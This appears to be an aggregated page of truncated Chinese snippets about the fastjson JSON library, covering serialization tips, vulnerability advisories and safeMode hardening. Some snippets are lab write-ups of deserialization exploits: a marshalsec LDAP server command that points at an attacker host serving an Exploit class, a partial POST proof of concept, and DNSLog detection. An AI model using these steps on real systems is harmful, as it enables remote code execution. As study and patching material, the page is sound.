办法如下: 通过fastjson序列化时,增加该字段的序列化类,该序列化类通过CODE查找名称,并序列化到前端。...private String systemName; public String getSystemName(){ return this.getCode(); } } 序列化的类的属性...import com.alibaba.fastjson.serializer.JSONSerializer; import com.alibaba.fastjson.serializer.ObjectSerializer...; import com.alibaba.fastjson.serializer.SerializeWriter; import java.io.IOException; import java.lang.reflect.Type...//通过code查找相关名称,测试先写死值 String name="std"; out.writeString(name); } } 经测试,序列化正常
——《海上钢琴师》 今天遇到这样一个问题: 序列化出现了与预期不一致的效果,重现代码很简单,就返回一个list,包含几个对象 @GetMapping public Result testQueryParam...作为mvc全局序列化框架的时候 在fastjson中,会自动检测循环引用,并且输出为fastjson专有的引用表示格式。...); fastjson文档链接:https://gitee.com/wenshao/fastjson/wikis/pages?...; import com.alibaba.fastjson.parser.ParserConfig; import com.alibaba.fastjson.serializer.SerializeConfig...fastJsonConverter.setSupportedMediaTypes(supportedMediaTypes); FastJsonConfig fjc = new FastJsonConfig(); // 配置序列化策略
Json的序列化方式有很多种,常见的有FastJson、Gson、Jackson,下面将对FastJson的LocalDateTime序列化使用及源码进行分析讲解。...先上结论: FastJson的序列化与反序列化均支持yyyy-MM-dd HH:mm:ss、yyyy-MM-ddTHH:mm:ss的格式,但是不支持[yyyy, MM, dd, HH, mm, ss]...FastJson序列化LocalDateTime样例 public class FastJsonTest { public static void main(String[] args) {...源码分析 反序列化 - parseObject 核心代码为com.alibaba.fastjson.parser.deserializer.Jdk8DateCodec的deserialze方法。...import com.alibaba.fastjson.annotation.JSONField; ...
JSONObject.toJSONString(实体对象, SerializerFeature.WriteMapNullValue)) SerializerFeature 源码 package com.alibaba.fastjson.serializer...但是这样做会带来一个问题,对应的反序列化使用的Enum的静态方法valueof可能无法识别自行生成的toString(),导致反序列化出错。...如果将节省enum序列化后的大小,可以将enum序列化其ordinal值,保存为int类型。fastJson在反序列化时,如果值为int,则能够使用ordinal值匹配,找到合适的对象。...fastjson要将enum序列化为ordinal只需要禁止WriteEnumUsingName feature。...在功能强大的fastjson中,你不需要担心这个问题。
原理 通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。...复现版本 fastjson = 1.2.24 漏洞复现 攻击机:192.168.112.137 靶机:192.168.112.137:5002 1.靶机环境搭建 用docker拉取靶机镜像 docker...pull vulhub/fastjson:1.2.24 创建启动靶机容器 docker run -d -p 5002:8090 vulhub/fastjson:1.2.24 注:5002为外部映射端口...,可自定义 2.漏洞检测利用 判断是否使用Fastjson框架 1.通过json解析异常抛出 2.通过DNSLOG判断 使用post请求,不带参数或者带一场参数,返回报错信息,使用fastjson框架
Fastjson反序列化 最近log4j的漏洞很火,他的复现步骤和fastjson相似 所以来复现学习一些,希望对大家有一点帮助 一、简介 Java 序列化及反序列化处理在基于Java 架构的Web...Fastjson可以将对象转换成Json字符串,XMLDecoder 可以将XML字符串还原成字符串,所以也是序列化和反序列化。 序列化可以将对象转换成字节流后保存、传输。...三、Fastjson漏洞介绍 与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,在反序列化的过程中,调用getter和setter...中发现了缓存机制可以绕过AutoType 1.2.68又通过缓存绕过了AutoType 从上述Fastjson反序列化漏洞的演化历程可以看出,针对Fastjson的漏洞挖掘主要在于以下两个方面。...,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
setcolor(String color) { this.color = color; } } [java] view plain copy public class fastjson...JSONobject ins = new JSONobject(); ins.setColor("red"); ins.setObj("s"); //序列化... String text = JSON.toJSONString(ins); System.out.println(text); //反序列化 ...foot","color","green"); ins.getPart().add(p1); ins.getPart().add(p2); //序列化... String text = JSON.toJSONString(ins); System.out.println(text); //反序列化
最近收到渗透测试报告,发现我们系统存在 fastjson 反序列化高危漏洞, 排查问题 排查发现我们 fastjson 的版本在此前已经升级到 1.2.83 版本了,决定测试复现看看, 先访问 http...Dfastjson.parser.safeMode=true 方案二:启动类添加:ParserConfig.getGlobalInstance().setSafeMode(true); 方案三:升级 fastjson
——《肖申克的救赎》 我们可以使用SerializerFeature.WriteEnumUsingToString去完成枚举的序列化操作: 例如我这里某对象属性为枚举类型 我们当使用该POJO接收参数时...我们配置如下的后就可以直接传入枚举常量的名字进行映射 例如我此处 最后传入type=INDEX_SHUFFLE,成功完成映射 完整代码 package com.ruben.zsxh.config; import com.alibaba.fastjson.serializer.SerializeConfig...; import com.alibaba.fastjson.serializer.SerializerFeature; import com.alibaba.fastjson.support.config.FastJsonConfig...; import com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter; import org.springframework.boot.autoconfigure.web.servlet.error.ErrorViewResolver...fastJsonConverter.setSupportedMediaTypes(supportedMediaTypes); FastJsonConfig fjc = new FastJsonConfig(); // 配置序列化策略
前言 写这篇文章的起因是在二开ysoserial的时候突然发现在Y4er师傅的ysoserial当中有两条关于FastJson的利用链,分别是FastJson1&FastJson2但是这两条利用链都不是像之前分析...fastjson利用链一样,之前的利用链分析的是fastjson在解析json格式的数据时,通过构造恶意的json数据来对fastjson进行攻击,期间会涉及到1.2.24-1.2.80等不同版本的绕过以及额外数据包的依赖...而这里的FastJson1&FastJson2是利用FasJson当中某些函数的调用关系,结合java原生反序列化来对目标应用进行攻击的一种方式。...这一部分我们也可以从下面的变量界面看到,它为TemplatesImpl类创建了一个反序列化工具类(ASMSerializer_1_TemplatesImpl)。...所以正是前面出现过的template,使得后续ois在处理反序列化字节流的时候,直接形成了绕过,引用了前面已经反序列化好的template对象,避免了由于B类型没法正常识别而造成的异常。
亚信安全CERT监控到Fastjson Develop Team发布安全公告,修复了一个存在于Fastjson1.2.80及之前版本中的反序列化漏洞。...Fastjson已使用黑白名单用于防御反序列化漏洞,该利用在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大。...Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。...2,safeMode加固 Fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可杜绝反序列化Gadgets类变种攻击...3,升级到fastjson v2 fastjson v2地址 https://github.com/alibaba/fastjson2/releases Fastjson已经开源2.0版本,在2.0版本中
Java格式 3.什么是是反序列化 我们搞懂了什么是fastjson那我们理解一下序列化,反序列化又是什么意思呢 。...序列化:将对象转化成字节的过程 作用:因为对象统一存储在JVM中,所以就导致了如果JVM关闭,对象也就会消失。而序列化就可以将对象转换为字节的序列,可以写进硬盘文件中实现长期的保存。...反序列化:将字节转化成对象的过程 作用:将序列组成的字节,转换为对象。 对象序列化就是将对象的数据复制一个一模一样的对象(个人理解) 4. ...Fastjson漏洞产生原因 反序列化之后的数据本来是没有危害的,但是用户使用可控数据是有危害的 漏洞信息: fastjson 1.2.24 反序列化导致任意命令执行漏洞:fastjson在解析json...Fastjson 1.2.47 远程命令执行漏洞:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令
https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz FastJson1.2.47...main(String[] args) throws Exception { } } 1.编译一下Exploit.java,生成Exploit.class,将2个文件放入服务器webapps/fastjson...java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.124.55:8080/fastjson...3.查看一下靶机源码,发现参数name和age,构造一下,回显正常, ps:真实环境中这些都是目标机自带的,找到提交json的地方构造poc即可 4.放上poc,查看靶机是否成功执行命令 POST /fastjson.../Exploit", "autoCommit": true } } 5.服务器的Ldap已接收到请求,靶机的/tmp/fastjson.test文件也已存在,命令成功执行 0x05 反弹shell
漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版) 环境准备 阅读本篇文章之前建议先了解一下fastjson中的...调用分析 调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在com.alibaba.fastjson.parser.DefaultJSONParser...跟进deserialze方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze) ? ?...com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader) 1.2.47版本中的代码.../MagicZer0/fastjson-rce-exploit
问题描述 使用fastJson对json字符串进行反序列化时,有几个点需要注意一下: 反序列化内部类 反序列化模板类 0....枚举反序列化 当序列化的对象中,包含枚举时,反序列化可能得不到你预期的结果,枚举对象变成了一个String对象, 其实和上面的问题一样,需要 package com.mogujie.service.rate.base...; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.TypeReference; import org.junit.Test...:551) at com.alibaba.fastjson.JSON.parseObject(JSON.java:251) at com.alibaba.fastjson.JSON.parseObject...重复引用 fastjson序列化的对象中,若存在重复引用的情况,序列化的结果可能不是我们预期的结果 @Test public void testJson() { BaseDO baseDO = new
fastjson是一款由阿里巴巴提供的性能出色的json序列化与反序列化库,而且使用很方便,我们可以使用JSON.toJSONString(object)将一个对象序列化为json格式,但是如果我们不想把一个类的所有成员都序列化怎么办呢...解决这个问题有两种方式: 1.给不想被序列化的属性增加transient属性---java特性 2.给不想被序列化的属性增加增减JSONField(serialize=false)---fastjson...特性 友情提醒一下: 由于fastjson低版本存在反序列化漏洞,建议大家用较新版本,至少在1.2.28版本以上吧
前言在SpringBoot中,默认情况下使用的是Jackson作为JSON的序列化和反序列化库。但有时候,我们可能需要切换到其他的JSON库,比如Fastjson。...Fastjson是阿里巴巴的一个开源项目,它提供了高性能的JSON序列化和反序列化功能。...Fastjson可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。...你应该会看到Fastjson被用来序列化和反序列化JSON数据。完整的pom.xml引入下面是一个完整的pom.xml引入功能。<?...小心处理特殊字符:在序列化包含特殊字符(如双引号)的字符串时,需要使用转义字符来避免语法错误。Fastjson提供了默认的转义字符,但也可以自定义转义字符。
Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。...漏洞检测 DNSLog回显 通过构造DNS解析来判断是否是Fastjson,Fastjson在解析下面这些Payload时会取解析val的值,从而可以在dnslog接收到回显,以此判断是不是Fastjson...1.2.24 反序列化导致任意命令执行漏洞 这里使用Vulhub/Fastjson-1.2.24-1.2.24-rce/进行搭建 抓包,修改一下然后提交,可以在DNSLog平台看到回显 // Payload...1.2.47 远程命令执行漏洞 Fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。...参考 fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录 fastjson =< 1.2.47 反序列化漏洞复现 JAVA反序列化—FastJson组件 Fastjson漏洞复现) --
Fastjson-1.2.47反序列化漏洞复现 提前准备: 1、使用vulhub来启动环境 2、VPS1:查看Java版本 [root@clean-post-1 ~]# java -version openjdk
FastJSON 简介 FastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象。...同时可以发现,在JSON序列化时,会调用类的getxxx方法;在JSON反序列化时,会调用类的构造方法 public class App { public static class User{...反序列化漏洞起源 我们可以看到,把JSON反序列化的语句是 JSON.parseObject(json,User.class),在指定JSON时,还需要指定其所属的类,显得代码就很臃肿,所以开发人员可以使用...但是由于_name 和_bytecodes 是私有属性,所以需要FASTJSON反序列化接口有Feature.SupportNonPublicField参数才能实现,利用条件很苛刻,但是条件允许的话就很方便...类对象被返回后,就会进入被反序列化的下一个过程,它的构造方法等会被调用,从而完成利用。
领取专属 10元无门槛券
手把手带您无忧上云